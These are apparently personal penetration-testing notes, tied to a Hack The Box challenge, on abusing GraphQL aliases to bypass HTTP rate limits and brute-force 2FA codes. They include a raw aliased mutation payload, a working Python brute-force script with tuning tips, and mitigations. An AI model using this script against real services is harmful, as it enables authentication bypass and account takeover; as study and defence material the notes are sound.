đź§  GraphQL - Batching Attack

What is it?

  • Concept: GraphQL inherently allows clients to request multiple pieces of data or execute multiple operations in a single HTTP request to reduce network overhead. Attackers abuse this feature by submitting hundreds or thousands of login/OTP guesses within a single query payload using “Aliases”.
  • Impact: Authentication Bypass, Rate Limit Evasion, and WAF Bypass. Because the network firewall (like Nginx) only sees one HTTP POST request, traditional HTTP rate limiters (limit_req) are completely blind to the attack.

How it works

  1. The Bottleneck: An application relies on network-layer infrastructure (Nginx, HAProxy, AWS WAF) to prevent brute-forcing, limiting users to e.g., 20 HTTP requests per minute.
  2. The Bypass Payload: The attacker constructs a single GraphQL query, but assigns unique “Aliases” to hundreds of concurrent mutation calls (e.g., try0000: verify2FA(otp:"0000"), try0001: verify2FA(otp:"0001")).
  3. The Execution: The single HTTP request easily passes through the network rate-limiter. The backend GraphQL engine parses the single request and sequentially (or concurrently) executes the underlying resolver function for every single alias.
  4. The Result: The attacker successfully evaluates 10,000 combinations in a fraction of a second, bypassing 2FA or brute-forcing a password without triggering network alarms.

Exploitation

Prerequisites

  • A vulnerable GraphQL endpoint accepting queries or mutations.
  • Target authentication mechanism has a small enough entropy/search space (e.g., a 4-digit PIN = 10,000 combinations, or a targeted password list).
  • Rate limiting is implemented at the HTTP routing layer, not the GraphQL execution layer.

Attack Vectors

  1. Raw GraphQL Alias Payload Structure: match this to the real mutation signature from introspection first (see GraphQL - Introspection Exploitation) — copying a generic example verbatim (wrong field name, missing required args like a challenge token) just gets every alias rejected and looks identical to “brute force failed,” which wastes time debugging the wrong layer.
mutation { 
	try0000: verifyTwoFactor(token: "CHALLENGE_TOKEN", otp: "0000") { token } 
	try0001: verifyTwoFactor(token: "CHALLENGE_TOKEN", otp: "0001") { token } 
	try0002: verifyTwoFactor(token: "CHALLENGE_TOKEN", otp: "0002") { token } 
	# ... continues up to server limits ... 
}
  1. Python Exploit Automation
import requests
 
def brute_force_gql(url, challenge_token, batch_size=400):
    for start in range(0, 10000, batch_size):
        end = min(start + batch_size, 10000)
 
        graphql_query = "mutation { "
        for i in range(start, end):
            pin = f"{i:04d}"
            graphql_query += (
                f'try{pin}: verifyTwoFactor(token: "{challenge_token}", otp: "{pin}") '
                f'{{ token }} '
            )
        graphql_query += "}"
 
        response = requests.post(url, json={"query": graphql_query})
        if response.status_code != 200:
            print(f"[-] batch {start}-{end}: HTTP {response.status_code} ({response.text[:100]!r})")
            continue
 
        data = response.json().get("data") or {}
        for alias, result in data.items():
            if result:
                print(f"[+] Found correct OTP: {alias.replace('try', '')}")
                return result["token"]
 
    print("[-] not found in 0000-9999")

Notes

  • Batch size is capped by the HTTP body limit, not by GraphQL. Express’s body-parser defaults to ~100KB; a batch of ~400 aliased verifyTwoFactor-style calls with a minimal { token } selection sits right under that. Going bigger (e.g. 2500 aliases) doesn’t error from GraphQL at all — you get a raw 413 Payload Too Large HTML page instead of JSON, which will break naive response.json() parsing. Always check response.status_code before parsing, and tune batch size down if you hit this rather than assuming the endpoint is unreachable.
  • A batch failing entirely can look identical to “the token got invalidated after one bad guess,” but is usually just the OTP’s TTL expiring. If you hand-test one wrong-then-correct pair with real delay between requests (reading an email, retyping a query) and it fails, that’s not proof of a one-shot lockout — re-test with a script that fires the whole check within a second or two of triggering the code. Only trust “burns after first attempt” if a fast, automated wrong-then-correct pair in one request still fails.
  • Aliases execute sequentially in the order they appear in a mutation request (GraphQL spec requires this for top-level mutation fields, unlike query fields which may parallelize) — so a resolver-side side effect from alias N can affect alias N+1 within the same batch. This is what makes the TTL-vs-lockout distinction above easy to misdiagnose.

Mitigation

  • Fix 1: Execution-Layer Rate Limiting. Implement rate limiting inside the GraphQL application code (the resolvers). Track the number of operations executed per user/IP, not just the number of HTTP requests.

  • Fix 2: Max Query Aliases limit. Utilize GraphQL middleware (like graphql-depth-limit or query cost analysis libraries) to restrict a single request to a maximum number of aliases (e.g., max 5 operations per request).

  • Fix 3: Lockouts. For sensitive operations like 2FA, implement account lockouts or temporary bans after a set number of failed resolver executions, regardless of how they were batched.

FileCreated
HTB Challenge - Batchcraft PotionsTuesday, May 5th 2026, 8:49:55 am

References: